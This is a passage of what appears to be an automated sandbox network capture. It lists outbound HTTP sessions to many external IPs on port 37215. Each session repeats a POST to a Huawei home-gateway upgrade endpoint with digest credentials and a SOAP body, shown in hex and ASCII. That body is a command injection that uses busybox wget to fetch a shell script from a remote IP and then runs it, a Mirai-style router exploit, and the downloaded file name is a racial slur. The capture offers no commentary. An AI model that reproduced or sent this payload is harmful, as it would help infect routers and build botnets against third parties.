2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:20.959892035 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
222	192.168.2.15	41180	156.235.107.9	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:05.944777012 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:07.616312981 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:09.600217104 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:13.536158085 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:21.471899033 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
223	192.168.2.15	47902	31.136.144.36	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:06.098386049 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:06.656290054 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:07.744379997 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 